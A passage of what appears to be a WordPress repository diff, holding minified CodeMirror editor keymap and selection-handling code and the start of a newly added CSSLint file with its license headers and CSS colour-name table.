:"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]},Lh["default"]=zg?Lh.macDefault:Lh.pcDefault;var Mh={selectAll:Be,singleSelection:function(a){return a.setSelection(a.getCursor("anchor"),a.getCursor("head"),Ng)},killLine:function(a){return lf(a,function(b){if(b.empty()){var c=B(a.doc,b.head.line).text.length;
+return b.head.ch==c&&b.head.line<a.lastLine()?{from:b.head,to:J(b.head.line+1,0)}:{from:b.head,to:J(b.head.line,c)}}return{from:b.from(),to:b.to()}})},deleteLine:function(a){return lf(a,function(b){return{from:J(b.from().line,0),to:Q(a.doc,J(b.to().line+1,0))}})},delLineLeft:function(a){return lf(a,function(a){return{from:J(a.from().line,0),to:a.from()}})},delWrappedLineLeft:function(a){return lf(a,function(b){var c=a.charCoords(b.head,"div").top+5,d=a.coordsChar({left:0,top:c},"div");return{from:d,to:b.from()}})},delWrappedLineRight:function(a){return lf(a,function(b){var c=a.charCoords(b.head,"div").top+5,d=a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:c},"div");return{from:b.from(),to:d}})},undo:function(a){return a.undo()},redo:function(a){return a.redo()},undoSelection:function(a){return a.undoSelection()},redoSelection:function(a){return a.redoSelection()},goDocStart:function(a){return a.extendSelection(J(a.firstLine(),0))},goDocEnd:function(a){return a.extendSelection(J(a.lastLine()))},goLineStart:function(a){return a.extendSelectionsBy(function(b){return mf(a,b.head.line)},{origin:"+move",bias:1})},goLineStartSmart:function(a){return a.extendSelectionsBy(function(b){return of(a,b.head)},{origin:"+move",bias:1})},goLineEnd:function(a){return a.extendSelectionsBy(function(b){return nf(a,b.head.line)},{origin:"+move",bias:-1})},goLineRight:function(a){return a.extendSelectionsBy(function(b){var c=a.cursorCoords(b.head,"div").top+5;return a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:c},"div")},Pg)},goLineLeft:function(a){return a.extendSelectionsBy(function(b){var c=a.cursorCoords(b.head,"div").top+5;return a.coordsChar({left:0,top:c},"div")},Pg)},goLineLeftSmart:function(a){return a.extendSelectionsBy(function(b){var c=a.cursorCoords(b.head,"div").top+5,d=a.coordsChar({left:0,top:c},"div");return d.ch<a.getLine(d.line).search(/\S/)?of(a,b.head):d},Pg)},goLineUp:function(a){return a.moveV(-1,"line")},goLineDown:function(a){return a.moveV(1,"line")},goPageUp:function(a){return a.moveV(-1,"page")},goPageDown:function(a){return a.moveV(1,"page")},goCharLeft:function(a){return a.moveH(-1,"char")},goCharRight:function(a){return a.moveH(1,"char")},goColumnLeft:function(a){return a.moveH(-1,"column")},goColumnRight:function(a){return a.moveH(1,"column")},goWordLeft:function(a){return a.moveH(-1,"word")},goGroupRight:function(a){return a.moveH(1,"group")},goGroupLeft:function(a){return a.moveH(-1,"group")},goWordRight:function(a){return a.moveH(1,"word")},delCharBefore:function(a){return a.deleteH(-1,"char")},delCharAfter:function(a){return a.deleteH(1,"char")},delWordBefore:function(a){return a.deleteH(-1,"word")},delWordAfter:function(a){return a.deleteH(1,"word")},delGroupBefore:function(a){return a.deleteH(-1,"group")},delGroupAfter:function(a){return a.deleteH(1,"group")},indentAuto:function(a){return a.indentSelection("smart")},indentMore:function(a){return a.indentSelection("add")},indentLess:function(a){return a.indentSelection("subtract")},insertTab:function(a){return a.replaceSelection("\t")},insertSoftTab:function(a){for(var b=[],c=a.listSelections(),d=a.options.tabSize,e=0;e<c.length;e++){var f=c[e].from(),g=l(a.getLine(f.line),f.ch,d);b.push(o(d-g%d))}a.replaceSelections(b)},defaultTab:function(a){a.somethingSelected()?a.indentSelection("add"):a.execCommand("insertTab")},transposeChars:function(a){return md(a,function(){for(var b=a.listSelections(),c=[],d=0;d<b.length;d++)if(b[d].empty()){var e=b[d].head,f=B(a.doc,e.line).text;if(f)if(e.ch==f.length&&(e=new J(e.line,e.ch-1)),e.ch>0)e=new J(e.line,e.ch+1),a.replaceRange(f.charAt(e.ch-1)+f.charAt(e.ch-2),J(e.line,e.ch-2),e,"+transpose");else if(e.line>a.doc.first){var g=B(a.doc,e.line-1).text;g&&(e=new J(e.line,1),a.replaceRange(f.charAt(0)+a.doc.lineSeparator()+g.charAt(g.length-1),J(e.line-1,g.length-1),e,"+transpose"))}c.push(new yh(e,e))}a.setSelections(c)})},newlineAndIndent:function(a){return md(a,function(){for(var b=a.listSelections(),c=b.length-1;c>=0;c--)a.replaceRange(a.doc.lineSeparator(),b[c].anchor,b[c].head,"+input");b=a.listSelections();for(var d=0;d<b.length;d++)a.indentLine(b[d].from().line,null,!0);Uc(a)})},openLine:function(a){return a.replaceSelection("\n","start")},toggleOverwrite:function(a){return a.toggleOverwrite()}},Nh=new Ig,Oh=null,Ph=400,Qh=function(a,b,c){this.time=a,this.pos=b,this.button=c};Qh.prototype.compare=function(a,b,c){return this.time+Ph>a&&0==K(b,this.pos)&&c==this.button};var Rh,Sh,Th={toString:function(){return"CodeMirror.Init"}},Uh={},Vh={};Pf.defaults=Uh,Pf.optionHandlers=Vh;var Wh=[];Pf.defineInitHook=function(a){return Wh.push(a)};var Xh=null,Yh=function(a){var b=a.optionHandlers,c=a.helpers={};a.prototype={constructor:a,focus:function(){window.focus(),this.display.input.focus()},setOption:function(a,c){var d=this.options,e=d[a];d[a]==c&&"mode"!=a||(d[a]=c,b.hasOwnProperty(a)&&nd(this,b[a])(this,c,e),Ea(this,"optionChange",this,a))},getOption:function(a){return this.options[a]},getDoc:function(){return this.doc},addKeyMap:function(a,b){this.state.keyMaps[b?"push":"unshift"](kf(a))},removeKeyMap:function(a){for(var b=this.state.keyMaps,c=0;c<b.length;++c)if(b[c]==a||b[c].name==a)return b.splice(c,1),!0},addOverlay:od(function(b,c){var d=b.token?b:a.getMode(this.options,b);if(d.startState)throw new Error("Overlays may not be stateful.");r(this.state.overlays,{mode:d,modeSpec:b,opaque:c&&c.opaque,priority:c&&c.priority||0},function(a){return a.priority}),this.state.modeGen++,qd(this)}),removeOverlay:od(function(a){for(var b=this,c=this.state.overlays,d=0;d<c.length;++d){var e=c[d].modeSpec;if(e==a||"string"==typeof a&&e.name==a)return c.splice(d,1),b.state.modeGen++,void qd(b)}}),indentLine:od(function(a,b,c){"string"!=typeof b&&"number"!=typeof b&&(b=null==b?this.options.smartIndent?"smart":"prev":b?"add":"subtract"),H(this.doc,a)&&Rf(this,a,b,c)}),indentSelection:od(function(a){for(var b=this,c=this.doc.sel.ranges,d=-1,e=0;e<c.length;e++){var f=c[e];if(f.empty())f.head.line>d&&(Rf(b,f.head.line,a,!0),d=f.head.line,e==b.doc.sel.primIndex&&Uc(b));else{var g=f.from(),h=f.to(),i=Math.max(d,g.line);d=Math.min(b.lastLine(),h.line-(h.ch?0:1))+1;for(var j=i;j<d;++j)Rf(b,j,a);var k=b.doc.sel.ranges;0==g.ch&&c.length==k.length&&k[e].from().ch>0&&pe(b.doc,e,new yh(g,k[e].to()),Ng)}}}),getTokenAt:function(a,b){return eb(this,a,b)},getLineTokens:function(a,b){return eb(this,J(a),b,!0)},getTokenTypeAt:function(a){a=Q(this.doc,a);var b,c=_a(this,B(this.doc,a.line)),d=0,e=(c.length-1)/2,f=a.ch;if(0==f)b=c[2];else for(;;){var g=d+e>>1;if((g?c[2*g-1]:0)>=f)e=g;else{if(!(c[2*g+1]<f)){b=c[2*g+2];break}d=g+1}}var h=b?b.indexOf("overlay "):-1;return h<0?b:0==h?null:b.slice(0,h-1)},getModeAt:function(b){var c=this.doc.mode;return c.innerMode?a.innerMode(c,this.getTokenAt(b).state).mode:c},getHelper:function(a,b){return this.getHelpers(a,b)[0]},getHelpers:function(a,b){var d=this,e=[];if(!c.hasOwnProperty(b))return e;var f=c[b],g=this.getModeAt(a);if("string"==typeof g[b])f[g[b]]&&e.push(f[g[b]]);else if(g[b])for(var h=0;h<g[b].length;h++){var i=f[g[b][h]];i&&e.push(i)}else g.helperType&&f[g.helperType]?e.push(f[g.helperType]):f[g.name]&&e.push(f[g.name]);for(var j=0;j<f._global.length;j++){var k=f._global[j];k.pred(g,d)&&m(e,k.val)==-1&&e.push(k.val)}return e},getStateAfter:function(a,b){var c=this.doc;return a=P(c,null==a?c.first+c.size-1:a),ab(this,a+1,b).state},cursorCoords:function(a,b){var c,d=this.doc.sel.primary();return c=null==a?d.head:"object"==typeof a?Q(this.doc,a):a?d.from():d.to(),lc(this,c,b||"page")},charCoords:function(a,b){return kc(this,Q(this.doc,a),b||"page")},coordsChar:function(a,b){return a=jc(this,a,b||"page"),oc(this,a.left,a.top)},lineAtHeight:function(a,b){return a=jc(this,{top:a,left:0},b||"page").top,G(this.doc,a+this.display.viewOffset)},heightAtLine:function(a,b,c){var d,e=!1;if("number"==typeof a){var f=this.doc.first+this.doc.size-1;a<this.doc.first?a=this.doc.first:a>f&&(a=f,e=!0),d=B(this.doc,a)}else d=a;return ic(this,d,{top:0,left:0},b||"page",c||e).top+(e?this.doc.height-sa(d):0)},defaultTextHeight:function(){return sc(this.display)},defaultCharWidth:function(){return tc(this.display)},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(a,b,c,d,e){var f=this.display;a=lc(this,Q(this.doc,a));var g=a.bottom,h=a.left;if(b.style.position="absolute",b.setAttribute("cm-ignore-events","true"),this.display.input.setUneditable(b),f.sizer.appendChild(b),"over"==d)g=a.top;else if("above"==d||"near"==d){var i=Math.max(f.wrapper.clientHeight,this.doc.height),j=Math.max(f.sizer.clientWidth,f.lineSpace.clientWidth);("above"==d||a.bottom+b.offsetHeight>i)&&a.top>b.offsetHeight?g=a.top-b.offsetHeight:a.bottom+b.offsetHeight<=i&&(g=a.bottom),h+b.offsetWidth>j&&(h=j-b.offsetWidth)}b.style.top=g+"px",b.style.left=b.style.right="","right"==e?(h=f.sizer.clientWidth-b.offsetWidth,b.style.right="0px"):("left"==e?h=0:"middle"==e&&(h=(f.sizer.clientWidth-b.offsetWidth)/2),b.style.left=h+"px"),c&&Rc(this,{left:h,top:g,right:h+b.offsetWidth,bottom:g+b.offsetHeight})},triggerOnKeyDown:od(uf),triggerOnKeyPress:od(xf),triggerOnKeyUp:wf,triggerOnMouseDown:od(zf),execCommand:function(a){if(Mh.hasOwnProperty(a))return Mh[a].call(null,this)},triggerElectric:od(function(a){Vf(this,a)}),findPosH:function(a,b,c,d){var e=this,f=1;b<0&&(f=-1,b=-b);for(var g=Q(this.doc,a),h=0;h<b&&(g=Zf(e.doc,g,f,c,d),!g.hitSide);++h);return g},moveH:od(function(a,b){var c=this;this.extendSelectionsBy(function(d){return c.display.shift||c.doc.extend||d.empty()?Zf(c.doc,d.head,a,b,c.options.rtlMoveVisually):a<0?d.from():d.to()},Pg)}),deleteH:od(function(a,b){var c=this.doc.sel,d=this.doc;c.somethingSelected()?d.replaceSelection("",null,"+delete"):lf(this,function(c){var e=Zf(d,c.head,a,b,!1);return a<0?{from:e,to:c.head}:{from:c.head,to:e}})}),findPosV:function(a,b,c,d){var e=this,f=1,g=d;b<0&&(f=-1,b=-b);for(var h=Q(this.doc,a),i=0;i<b;++i){var j=lc(e,h,"div");if(null==g?g=j.left:j.left=g,h=$f(e,j,f,c),h.hitSide)break}return h},moveV:od(function(a,b){var c=this,d=this.doc,e=[],f=!this.display.shift&&!d.extend&&d.sel.somethingSelected();if(d.extendSelectionsBy(function(g){if(f)return a<0?g.from():g.to();var h=lc(c,g.head,"div");null!=g.goalColumn&&(h.left=g.goalColumn),e.push(h.left);var i=$f(c,h,a,b);return"page"==b&&g==d.sel.primary()&&Tc(c,kc(c,i,"div").top-h.top),i},Pg),e.length)for(var g=0;g<d.sel.ranges.length;g++)d.sel.ranges[g].goalColumn=e[g]}),findWordAt:function(a){var b=this.doc,c=B(b,a.line).text,d=a.ch,e=a.ch;if(c){var f=this.getHelper(a,"wordChars");"before"!=a.sticky&&e!=c.length||!d?++e:--d;for(var g=c.charAt(d),h=v(g,f)?function(a){return v(a,f)}:/\s/.test(g)?function(a){return/\s/.test(a)}:function(a){return!/\s/.test(a)&&!v(a)};d>0&&h(c.charAt(d-1));)--d;for(;e<c.length&&h(c.charAt(e));)++e}return new yh(J(a.line,d),J(a.line,e))},toggleOverwrite:function(a){null!=a&&a==this.state.overwrite||((this.state.overwrite=!this.state.overwrite)?h(this.display.cursorDiv,"CodeMirror-overwrite"):Gg(this.display.cursorDiv,"CodeMirror-overwrite"),Ea(this,"overwriteToggle",this,this.state.overwrite))},hasFocus:function(){return this.display.input.getField()==g()},isReadOnly:function(){return!(!this.options.readOnly&&!this.doc.cantEdit)},scrollTo:od(function(a,b){Vc(this,a,b)}),getScrollInfo:function(){var a=this.display.scroller;return{left:a.scrollLeft,top:a.scrollTop,height:a.scrollHeight-Rb(this)-this.display.barHeight,width:a.scrollWidth-Rb(this)-this.display.barWidth,clientHeight:Tb(this),clientWidth:Sb(this)}},scrollIntoView:od(function(a,b){null==a?(a={from:this.doc.sel.primary().head,to:null},null==b&&(b=this.options.cursorScrollMargin)):"number"==typeof a?a={from:J(a,0),to:null}:null==a.from&&(a={from:a,to:null}),a.to||(a.to=a.from),a.margin=b||0,null!=a.from.line?Wc(this,a):Yc(this,a.from,a.to,a.margin)}),setSize:od(function(a,b){var c=this,d=function(a){return"number"==typeof a||/^\d+$/.test(String(a))?a+"px":a};null!=a&&(this.display.wrapper.style.width=d(a)),null!=b&&(this.display.wrapper.style.height=d(b)),this.options.lineWrapping&&ec(this);var e=this.display.viewFrom;this.doc.iter(e,this.display.viewTo,function(a){if(a.widgets)for(var b=0;b<a.widgets.length;b++)if(a.widgets[b].noHScroll){rd(c,e,"widget");break}++e}),this.curOp.forceUpdate=!0,Ea(this,"refresh",this)}),operation:function(a){return md(this,a)},startOperation:function(){return ed(this)},endOperation:function(){return fd(this)},refresh:od(function(){var a=this.display.cachedTextHeight;qd(this),this.curOp.forceUpdate=!0,fc(this),Vc(this,this.doc.scrollLeft,this.doc.scrollTop),Fd(this),(null==a||Math.abs(a-sc(this.display))>.5)&&xc(this),Ea(this,"refresh",this)}),swapDoc:od(function(a){var b=this.doc;return b.cm=null,Yd(this,a),fc(this),this.display.input.reset(),Vc(this,a.scrollLeft,a.scrollTop),this.curOp.forceScroll=!0,yb(this,"swapDoc",this,b),b}),getInputField:function(){return this.display.input.getField()},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}},Ia(a),a.registerHelper=function(b,d,e){c.hasOwnProperty(b)||(c[b]=a[b]={_global:[]}),c[b][d]=e},a.registerGlobalHelper=function(b,d,e,f){a.registerHelper(b,d,f),c[b]._global.push({pred:e,val:f})}},Zh=function(a){this.cm=a,this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null,this.polling=new Ig,this.composing=null,this.gracePeriod=!1,this.readDOMTimeout=null};Zh.prototype.init=function(a){function b(a){if(!Fa(e,a)){if(e.somethingSelected())Sf({lineWise:!1,text:e.getSelections()}),"cut"==a.type&&e.replaceSelection("",null,"cut");else{if(!e.options.lineWiseCopyCut)return;var b=Wf(e);Sf({lineWise:!0,text:b.text}),"cut"==a.type&&e.operation(function(){e.setSelections(b.ranges,0,Ng),e.replaceSelection("",null,"cut")})}if(a.clipboardData){a.clipboardData.clearData();var c=Xh.text.join("\n");if(a.clipboardData.setData("Text",c),a.clipboardData.getData("Text")==c)return void a.preventDefault()}var g=Yf(),h=g.firstChild;e.display.lineSpace.insertBefore(g,e.display.lineSpace.firstChild),h.value=Xh.text.join("\n");var i=document.activeElement;Hg(h),setTimeout(function(){e.display.lineSpace.removeChild(g),i.focus(),i==f&&d.showPrimarySelection()},50)}}var c=this,d=this,e=d.cm,f=d.div=a.lineDiv;Xf(f,e.options.spellcheck),Yg(f,"paste",function(a){Fa(e,a)||Uf(a,e)||og<=11&&setTimeout(nd(e,function(){return c.updateFromDOM()}),20)}),Yg(f,"compositionstart",function(a){c.composing={data:a.data,done:!1}}),Yg(f,"compositionupdate",function(a){c.composing||(c.composing={data:a.data,done:!1})}),Yg(f,"compositionend",function(a){c.composing&&(a.data!=c.composing.data&&c.readFromDOMSoon(),c.composing.done=!0)}),Yg(f,"touchstart",function(){return d.forceCompositionEnd()}),Yg(f,"input",function(){c.composing||c.readFromDOMSoon()}),Yg(f,"copy",b),Yg(f,"cut",b)},Zh.prototype.prepareSelection=function(){var a=Bc(this.cm,!1);return a.focus=this.cm.state.focused,a},Zh.prototype.showSelection=function(a,b){a&&this.cm.display.view.length&&((a.focus||b)&&this.showPrimarySelection(),this.showMultipleSelections(a))},Zh.prototype.showPrimarySelection=function(){var a=window.getSelection(),b=this.cm,c=b.doc.sel.primary(),d=c.from(),e=c.to();if(b.display.viewTo==b.display.viewFrom||d.line>=b.display.viewTo||e.line<b.display.viewFrom)return void a.removeAllRanges();var f=dg(b,a.anchorNode,a.anchorOffset),g=dg(b,a.focusNode,a.focusOffset);if(!f||f.bad||!g||g.bad||0!=K(O(f,g),d)||0!=K(N(f,g),e)){var h=b.display.view,i=d.line>=b.display.viewFrom&&_f(b,d)||{node:h[0].measure.map[2],offset:0},j=e.line<b.display.viewTo&&_f(b,e);if(!j){var k=h[h.length-1].measure,l=k.maps?k.maps[k.maps.length-1]:k.map;j={node:l[l.length-1],offset:l[l.length-2]-l[l.length-3]}}if(!i||!j)return void a.removeAllRanges();var m,n=a.rangeCount&&a.getRangeAt(0);try{m=Dg(i.node,i.offset,j.offset,j.node)}catch(o){}m&&(!jg&&b.state.focused?(a.collapse(i.node,i.offset),m.collapsed||(a.removeAllRanges(),a.addRange(m))):(a.removeAllRanges(),a.addRange(m)),n&&null==a.anchorNode?a.addRange(n):jg&&this.startGracePeriod()),this.rememberSelection()}},Zh.prototype.startGracePeriod=function(){var a=this;clearTimeout(this.gracePeriod),this.gracePeriod=setTimeout(function(){a.gracePeriod=!1,a.selectionChanged()&&a.cm.operation(function(){return a.cm.curOp.selectionChanged=!0})},20)},Zh.prototype.showMultipleSelections=function(a){c(this.cm.display.cursorDiv,a.cursors),c(this.cm.display.selectionDiv,a.selection)},Zh.prototype.rememberSelection=function(){var a=window.getSelection();this.lastAnchorNode=a.anchorNode,this.lastAnchorOffset=a.anchorOffset,this.lastFocusNode=a.focusNode,this.lastFocusOffset=a.focusOffset},Zh.prototype.selectionInEditor=function(){var a=window.getSelection();if(!a.rangeCount)return!1;var b=a.getRangeAt(0).commonAncestorContainer;return f(this.div,b)},Zh.prototype.focus=function(){"nocursor"!=this.cm.options.readOnly&&(this.selectionInEditor()||this.showSelection(this.prepareSelection(),!0),this.div.focus())},Zh.prototype.blur=function(){this.div.blur()},Zh.prototype.getField=function(){return this.div},Zh.prototype.supportsTouch=function(){return!0},Zh.prototype.receivedFocus=function(){function a(){b.cm.state.focused&&(b.pollSelection(),b.polling.set(b.cm.options.pollInterval,a))}var b=this;this.selectionInEditor()?this.pollSelection():md(this.cm,function(){return b.cm.curOp.selectionChanged=!0}),this.polling.set(this.cm.options.pollInterval,a)},Zh.prototype.selectionChanged=function(){var a=window.getSelection();return a.anchorNode!=this.lastAnchorNode||a.anchorOffset!=this.lastAnchorOffset||a.focusNode!=this.lastFocusNode||a.focusOffset!=this.lastFocusOffset},Zh.prototype.pollSelection=function(){if(null==this.readDOMTimeout&&!this.gracePeriod&&this.selectionChanged()){var a=window.getSelection(),b=this.cm;if(xg&&rg&&this.cm.options.gutters.length&&ag(a.anchorNode))return this.cm.triggerOnKeyDown({type:"keydown",keyCode:8,preventDefault:Math.abs}),this.blur(),void this.focus();if(!this.composing){this.rememberSelection();var c=dg(b,a.anchorNode,a.anchorOffset),d=dg(b,a.focusNode,a.focusOffset);c&&d&&md(b,function(){te(b.doc,Nd(c,d),Ng),(c.bad||d.bad)&&(b.curOp.selectionChanged=!0)})}}},Zh.prototype.pollContent=function(){null!=this.readDOMTimeout&&(clearTimeout(this.readDOMTimeout),this.readDOMTimeout=null);var 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Index: /tags/5.0.20/src/wp-includes/js/codemirror/csslint.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/codemirror/csslint.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/codemirror/csslint.js	(revision 56912)
@@ -0,0 +1,10859 @@
+/*!
+CSSLint v1.0.4
+Copyright (c) 2016 Nicole Sullivan and Nicholas C. Zakas. All rights reserved.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the 'Software'), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+*/
+
+var CSSLint = (function(){
+  var module = module || {},
+      exports = exports || {};
+
+/*!
+Parser-Lib
+Copyright (c) 2009-2016 Nicholas C. Zakas. All rights reserved.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+*/
+/* Version v1.1.0, Build time: 6-December-2016 10:31:29 */
+var parserlib = (function () {
+var require;
+require=(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
+"use strict";
+
+/* exported Colors */
+
+var Colors = module.exports = {
+    __proto__       :null,
+    aliceblue       :"#f0f8ff",
+    antiquewhite    :"#faebd7",
+    aqua            :"#00ffff",
+    aquamarine      :"#7fffd4",
+    azure           :"#f0ffff",
+    beige           :"#f5f5dc",
+    bisque          :"#ffe4c4",
+    black           :"#000000",
+    blanchedalmond  :"#ffebcd",
+    blue            :"#0000ff",
+    blueviolet      :"#8a2be2",
+    brown           :"#a52a2a",
+    burlywood       :"#deb887",
+    cadetblue       :"#5f9ea0",
+    chartreuse      :"#7fff00",
+    chocolate       :"#d2691e",
+    coral           :"#ff7f50",
+    cornflowerblue  :"#6495ed",
+    cornsilk        :"#fff8dc",
+    crimson         :"#dc143c",
+    cyan            :"#00ffff",
+    darkblue        :"#00008b",
+    darkcyan        :"#008b8b",
+    darkgoldenrod   :"#b8860b",
+    darkgray        :"#a9a9a9",
+    darkgrey        :"#a9a9a9",
+    darkgreen       :"#006400",
+    darkkhaki       :"#bdb76b",
+    darkmagenta     :"#8b008b",
+    darkolivegreen  :"#556b2f",
+    darkorange      :"#ff8c00",
+    darkorchid      :"#9932cc",
+    darkred         :"#8b0000",
+    darksalmon      :"#e9967a",
+    darkseagreen    :"#8fbc8f",
+    darkslateblue   :"#483d8b",
+    darkslategray   :"#2f4f4f",
+    darkslategrey   :"#2f4f4f",
+    darkturquoise   :"#00ced1",
+    darkviolet      :"#9400d3",
+    deeppink        :"#ff1493",
+    deepskyblue     :"#00bfff",
+    dimgray         :"#696969",
+    dimgrey         :"#696969",
+    dodgerblue      :"#1e90ff",
+    firebrick       :"#b22222",
+    floralwhite     :"#fffaf0",
+    forestgreen     :"#228b22",
+    fuchsia         :"#ff00ff",
+    gainsboro       :"#dcdcdc",
+    ghostwhite      :"#f8f8ff",
+    gold            :"#ffd700",
+    goldenrod       :"#daa520",
+    gray            :"#808080",
+    grey            :"#808080",
+    green           :"#008000",
+    greenyellow     :"#adff2f",
+    honeydew        :"#f0fff0",
+    hotpink         :"#ff69b4",
+    indianred       :"#cd5c5c",
+    indigo          :"#4b0082",
+    ivory           :"#fffff0",
+    khaki           :"#f0e68c",
+    lavender        :"#e6e6fa",
+    lavenderblush   :"#fff0f5",
+    lawngreen       :"#7cfc00",
+    lemonchiffon    :"#fffacd",
+    lightblue       :"#add8e6",
+    lightcoral      :"#f08080",
+    lightcyan       :"#e0ffff",
+    lightgoldenrodyellow  :"#fafad2",
+    lightgray       :"#d3d3d3",
+    lightgrey       :"#d3d3d3",
+    lightgreen      :"#90ee90",
+    lightpink       :"#ffb6c1",
+    lightsalmon     :"#ffa07a",
+    lightseagreen   :"#20b2aa",
+    lightskyblue    :"#87cefa",
+    lightslategray  :"#778899",
+    lightslategrey  :"#778899",
+    lightsteelblue  :"#b0c4de",
+    lightyellow     :"#ffffe0",
+    lime            :"#00ff00",
+    limegreen       :"#32cd32",
+    linen           :"#faf0e6",
+    magenta         :"#ff00ff",
+    maroon          :"#800000",
+    mediumaquamarine:"#66cdaa",
+    mediumblue      :"#0000cd",
+    mediumorchid    :"#ba55d3",
+    mediumpurple    :"#9370d8",
+    mediumseagreen  :"#3cb371",
+    mediumslateblue :"#7b68ee",
+    mediumspringgreen   :"#00fa9a",
+    mediumturquoise :"#48d1cc",
+    mediumvioletred :"#c71585",
+    midnightblue    :"#191970",
+    mintcream       :"#f5fffa",
+    mistyrose       :"#ffe4e1",
+    moccasin        :"#ffe4b5",
+    navajowhite     :"#ffdead",
+    navy            :"#000080",
+    oldlace         :"#fdf5e6",
+    olive           :"#808000",
+    olivedrab       :"#6b8e23",
+    orange          :"#ffa500",
+    orangered       :"#ff4500",
+    orchid          :"#da70d6",
+    palegoldenrod   :"#eee8aa",
+    palegreen       :"#98fb98",
+    paleturquoise   :"#afeeee",
+    palevioletred   :"#d87093",
+    papayawhip      :"#ffefd5",
+    peachpuff       :"#ffdab9",
+    peru            :"#cd853f",
+    pink            :"#ffc0cb",
+    plum            :"#dda0dd",
+    powderblue      :"#b0e0e6",
+    purple          :"#800080",
+    red             :"#ff0000",
+    rosybrown       :"#bc8f8f",
+    royalblue       :"#4169e1",
+    saddlebrown     :"#8b4513",
+    salmon          :"#fa8072",
+    sandybrown      :"#f4a460",
+    seagreen        :"#2e8b57",
+    seashell        :"#fff5ee",
+    sienna          :"#a0522d",
+    silver          :"#c0c0c0",
+    skyblue         :"#87ceeb",
+    slateblue       :"#6a5acd",
+    slategray       :"#708090",
+    slategrey       :"#708090",
+    snow            :"#fffafa",
+    springgreen     :"#00ff7f",
+    steelblue       :"#4682b4",
+    tan             :"#d2b48c",
+    teal            :"#008080",
+    thistle         :"#d8bfd8",
+    tomato          :"#ff6347",
+    turquoise       :"#40e0d0",
+    violet          :"#ee82ee",
+    wheat           :"#f5deb3",
+    white           :"#ffffff",
+    whitesmoke      :"#f5f5f5",
+    yellow          :"#ffff00",
+    yellowgreen     :"#9acd32",
+    //'currentColor' color keyword https://www.w3.org/TR/css3-color/#currentcolor
+    currentColor        :"The value of the 'color' property.",
+    //CSS2 system colors https://www.w3.org/TR/css3-color/#css2-system
+    activeBorder        :"Active window border.",
+    activecaption       :"Active window caption.",
+    appworkspace        :"Background color of multiple document interface.",
+    background          :"Desktop background.",
+    buttonface          :"The face background color for 3-D elements that appear 3-D due to one layer of surrounding border.",
+    buttonhighlight     :"The color of the border facing the light source for 3-D elements that appear 3-D due to one layer of surrounding border.",
+    buttonshadow        :"The color of the border away from the light source for 3-D elements that appear 3-D due to one layer of surrounding border.",
+    buttontext          :"Text on push buttons.",
+    captiontext         :"Text in caption, size box, and scrollbar arrow box.",
+    graytext            :"Grayed (disabled) text. This color is set to #000 if the current display driver does not support a solid gray color.",
+    greytext            :"Greyed (disabled) text. This color is set to #000 if the current display driver does not support a solid grey color.",
+    highlight           :"Item(s) selected in a control.",
+    highlighttext       :"Text of item(s) selected in a control.",
+    inactiveborder      :"Inactive window border.",
+    inactivecaption     :"Inactive window caption.",
+    inactivecaptiontext :"Color of text in an inactive caption.",
+    infobackground      :"Background color for tooltip controls.",
